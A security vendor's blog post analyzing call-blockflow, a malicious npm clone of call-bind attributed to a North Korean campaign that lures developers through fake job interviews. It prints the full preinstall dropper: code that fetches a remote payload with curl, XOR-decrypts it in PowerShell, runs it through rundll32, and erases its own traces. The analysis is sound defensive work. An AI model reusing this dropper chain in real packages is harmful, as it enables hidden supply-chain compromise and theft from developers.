New Tactics from a Familiar Threat

A sinister red and blue snake shedding its skin

For over a year, Phylum has been exposing North Korean threat actors attacking software developers in the open-source supply chain. This blog post highlights evolving tactics from a North Korean campaign that began in September 2023 with a package published on 4 July 2024 in npm. Like a snake shedding its old skin, this attacker's evasive attempts have introduced some novelties, but many of the same patterns and idioms we have seen throughout this campaign remain. Join us as we dive deep into the details of this new offering from an old threat actor.

--cta--

A weaponized copy of a legitimate npm package

call-bind versus call-blockflow

call-bind is a legitimate npm package with over 2000 downstream dependents and over 45 million weekly downloads whose maintainer supports over 500 packages on npm. call-blockflow, on the other hand, was a near duplicate of the call-bind package published on 4 July to npm, only to be unpublished about an hour and a half later. It contained all the functional code and tests from call-bind but with a modified package.json file and five additional files: shim.js, polyfill.js, implementation.js, callTo.js, and mod.json. We will discuss each of these in detail, but this change to a weaponized copy of call-bind is already a novelty for this actor. Nearly two dozen previous malicious packages in this campaign were based on a weaponized fake of the legitimate npm package. config.

The modifications to package.json file from the original one in the call-bind package give our first clues as to how the malicious execution will happen:

Diff between the package.json files in the legitimate package call-bind and the malicious call-blockflow
Diff between the package.json files in the legitimate package call-bind and the malicious call-blockflow

The name, version, and description have been changed in package.json, and many scripts from call-bind have been removed. (Note the misspelled funcion in the new description.) The additional preinstall script follows the node <file> && del <file> pattern we have seen throughout many of this campaign’s previous packages using the additional callTo.js file as the entry point. We will return to that file in a moment.

The three files, implementation.js, polyfill.js, and shim.js, are all lifted verbatim from another npm package named date maintained by the same developer of call-bind (which can be found in the Date.prototype.getDate directory on npm). It is unclear what purpose the attacker intended by including these files. They have nothing to do with any of the functionality of the original code from the call-bind package nor anything to do with the malicious attack chain. Simple queries on GitHub suffice to find all these files in their legitimate repositories, so we are at a loss to say much more about their purpose here.

The choice of the name polyfill.js is, however, interesting. Polyfill.js is a JavaScript library designed to allow modern functionality on older browsers that do not natively support newer features. This file name choice could be an attempt to leverage the hype around the recent supply-chain security incident associated with the Chinese acquisition of the polyfill.io domain, which began shipping malware to mobile devices last month. Last month, Phylum published a blog post detailing the polyfill packages associated with the compromised domain.

The preinstall script

callTo.js

Returning to the malicious execution in the preinstall script in package.json, we note that callTo.js has no counterpart in the original package. However, the name of the file callTo.js has the same camel casing as the legitimate file callBound.js in the legitimate call-bind package. Whenever a developer installs the malicious call-blockflow package, the preinstall script will execute callTo.js and then delete it. As we will show, no trace of callTo.js nor any other file in this attack will exist after the preinstall script completes its execution. This is another consistent hallmark of this attacker’s tactics across this campaign.

Examining callTo.js, we find many of the same idiomatic patterns that this attacker has employed in the past:

const os = require("os");
const fs = require("fs");
const { exec } = require("child_process");

const setVal1 =
  '@echo off\ncurl -o funData.ctr -L "https://cryptocopedia.com/explorer/search.asp?token=5032" > nul 2>&1\nstart /b /wait powershell.exe -ExecutionPolicy Bypass -File towr.ps1 > nul 2>&1\ndel "towr.ps1" > nul 2>&1\nif exist "stringh.dat" (\ndel "stringh.dat" > nul 2>&1\n)\nrename colfunc.csv stringh.dat > nul 2>&1\nif exist "stringh.dat" (\nrundll32 stringh.dat, SetExpVal tiend\n)\nif exist "mod.json" (\ndel "package.json" > nul 2>&1\nrename mod.json package.json > nul 2>&1\n)\nping 127.0.0.1 -n 2 > nul\nif exist "stringh.dat" (\ndel "stringh.dat" > nul 2>&1\n)';
const setVal2 =
  '$path1 = Join-Path $PWD "funData.ctr"\n$path2 = Join-Path $PWD "colfunc.csv"\nif ([System.IO.File]::Exists($path1))\n{\n$bytes = [System.IO.File]::ReadAllBytes($path1)\nfor($i = 0; $i -lt $bytes.count; $i++)\n{\n$bytes[$i] = $bytes[$i] -bxor 0xc5\n}\n[System.IO.File]::WriteAllBytes($path2, $bytes)\nRemove-Item -Path $path1 -Force\n}';

const osType = os.type();

if (osType === "Windows_NT") {
  const fileName = "dope.bat";
  const psfileName = "towr.ps1";
  fs.writeFile(fileName, setVal1, (err) => {
    if (!err) {
      fs.writeFile(psfileName, setVal2, (err) => {
        if (!err) {
          const child = exec(`"${fileName}"`, (error, stdout, stderr) => {
            if (error) {
              return;
            }
            if (stderr) {
              return;
            }
            fs.unlink(fileName, (err) => {});
          });
        }
      });
    }
  });
}

This script checks to see if it is in a Windows_NT environment, and if so, it writes two files - a batch script named dope.bat and a PowerShell script towr.ps1. If there are any errors during this, the code attempts to fail gracefully and exit. If dope.bat is successful, it will be deleted with the call to fs.unlink.

The batch script, part one

dope.bat

The batch script dope.bat executes first, and its contents are found in the setVal1 variable in callTo.js. Here is the first part of a pretty-printed version of that code:

@echo off
curl -o funData.ctr -L "https://cryptocopedia.com/explorer/search.asp?token=5032" > nul 2>&1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File towr.ps1 > nul 2>&1

We will return to the remaining code that follows these three lines in dope.bat momentarily. Here, we can see the attacker’s first familiar stealth pattern with the @echo off command, which hides any command prompts. The second is seen in the trailing > nul 2>&1 command that follows the next two lines. Reading from right to left, this invocation sends standard error 2 to wherever standard out 1 goes and sends standard out to nul. Thus, all outputs, errors or otherwise, are not written anywhere.

The second line uses curl to fetch the remote file at hxxps://cryptocopedia.com/explorer/search.asp?token=5032 and write the output to a new file named funData.ctr, which will be used later. Presumably, the query token=5032 that is passed to the search.asp parameter is a way to prevent unwanted scraping from the attacker’s server and could be a way to track individual victims.

Unfortunately, we did not get this file before it was removed. According to the npm registry, this malicious call-blockflow package was published on 4 July around 1740UTC and then unpublished by the attacker around 1900UTC. This rapid publish and unpublish cycle has also been consistent across much of this attacker’s campaign, but Phylum’s automated platform protects our customers from even these. Earlier this February, in this same campaign, Phylum caught and identified the malicious package react-tooltip-modal in the wild for about 90 seconds before being unpublished, according to the npm registry.

The PowerShell script

towr.ps1

The third line of dope.bat starts PowerShell to execute the towr.ps1 file, which was written earlier in callTo.js with the contents of the setVal2. The switch /b starts PowerShell without opening a new command prompt window, and the switch /wait pauses the execution of dope.bat until the PowerShell script completes execution. The PowerShell parameter -ExecutionPolicy Bypass ensures nothing during the execution of towr.ps1 will be blocked, and no warnings or prompts will be displayed. The contents of towr.ps1 from callTo.js file are pretty-printed here:

$path1 = Join-Path $PWD "funData.ctr"
$path2 = Join-Path $PWD "colfunc.csv"
if ([System.IO.File]::Exists($path1))
{
$bytes = [System.IO.File]::ReadAllBytes($path1)
for($i = 0; $i -lt $bytes.count; $i++)
{
$bytes[$i] = $bytes[$i] -bxor 0xc5
}
[System.IO.File]::WriteAllBytes($path2, $bytes)
Remove-Item -Path $path1 -Force
}

Recall that the file funData.ctr was the remote response from the curlrequest. Had we examined this file, it would appear like a bunch of high-entropy garbage because it is encrypted. This is evident here in the for loop which XORs every byte of funData.ctr with the single byte key 0xc5 (which changed from 0xef in earlier reporting) and writes the decrypted output to the new file colfunc.csv.

The batch script, part two

dope.bat

Now that funData.ctr has served its purpose, it is deleted in the last line of this PowerShell script, and the execution thread returns to the dope.bat script. Here is the remaining code from the setVar1 variable in callTo.js:

del "towr.ps1" > nul 2>&1
if exist "stringh.dat" (
del "stringh.dat" > nul 2>&1
)
rename colfunc.csv stringh.dat > nul 2>&1
if exist "stringh.dat" (
rundll32 stringh.dat, SetExpVal tiend
)
if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "stringh.dat" (
del "stringh.dat" > nul 2>&1
)'

The first part of the remainder of dope.bat deletes towr.ps1 and makes way for a new file stringh.dat, which is just a rename of the decrypted payload in colfunc.csv file.

The second part uses rundll32 to execute the exported function SetExpVal with the parameter tiend, another familiar pattern from this campaign. Previous packages in this campaign have changed the exported function's name (e.g., CalculateSum) and passed a number (or nothing) as a parameter. Further independent analysis demonstrated that this behavior is a North Korean state-sponsored activity hallmark.

The third part replaces the original package.json with the contents of mod.json. Comparing these two, we see that not only has the description changed slightly, but all traces of the preinstall script have also vanished.

Difference between the original package.json and the modifications from mod.json that overwrite the original package.json
Difference between the original package.json and the modifications from mod.json that overwrite the original package.json

The final part of dope.bat pings the localhost twice, a common proxy for the sleep command in Windows batch scripting. It is possible, however unlikely, that the malware dropped by the call to SetExpVal expects these pings to function, but we would need to analyze the decrypted payload to be sure. dope.bat completes its execution by deleting stringh.dat, and it is over. The victim is infected with almost no trace.

Loose ends

"But, whatabout...?"

We want to address a few things before we conclude. First, it is essential to note that no users, primary or downstream, of call-bind have any risks associated with the call-blockflow package. The namespaces are separate, and that is a sufficient barrier of protection. But, while the call-bind package has not been compromised, the weaponized call-blockflow package copies all the trust and legitimacy of the original to bolster the attack’s success. This tactic has recently been increasing in popularity.

Malicious attackers have traditionally had two broad paths to compromising users: insinuating themselves as legitimate contributors to a trusted package or creating a new fake package to deliver malware from scratch. The former is difficult but tremendously effective if successful. The latter is more accessible, but once a malicious package is discovered, that package will be easy to detect, and the attacker has to start over by creating a new fake package. By cloning existing trusted repositories, the attacker now has a nearly limitless supply of plausibly trustworthy packages to hide their malware, and this plausibility is essential for the attack to be successful. Given the wealth and ubiquity of open-source software, this creates a middle option between the two above for the attacker that shortens the development cycle for new malicious packages.

Finally, a common objection that the Phylum Research Team often gets is the fair question, “Why would any developer install the call-blockflow package”? This threat actor has used social engineering to lure software developers into fake job interviews in which the malicious package is part of a “coding interview.” There is no job interview, and once the malicious package is installed by the victim, it is game over. The payload has been delivered, and the prospective developer’s machine is compromised, usually stealing all their cryptocurrency and whatever sensitive information they can grab. In this sense, it may be that this malicious package has a singular target in mind. Still, this North Korean threat actor has proven that nearly any software developer is a potential target, as cryptocurrency theft is a primary motive for this actor (see the concluding paragraphs from a previous blog post).

Conclusion

Phylum has captured and identified over three dozen malicious packages from this campaign, which began in September 2023. Over that time, we have seen this attacker slowly evolve tactics, but many of the same patterns emerge upon close inspection. This persistent threat shows no signs of stopping, and neither do we. Phylum will continue protecting our customers from these and many other threat actors attacking software developers.

"Hmm. Upgrades." - Neo, The Matrix Reloaded
Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.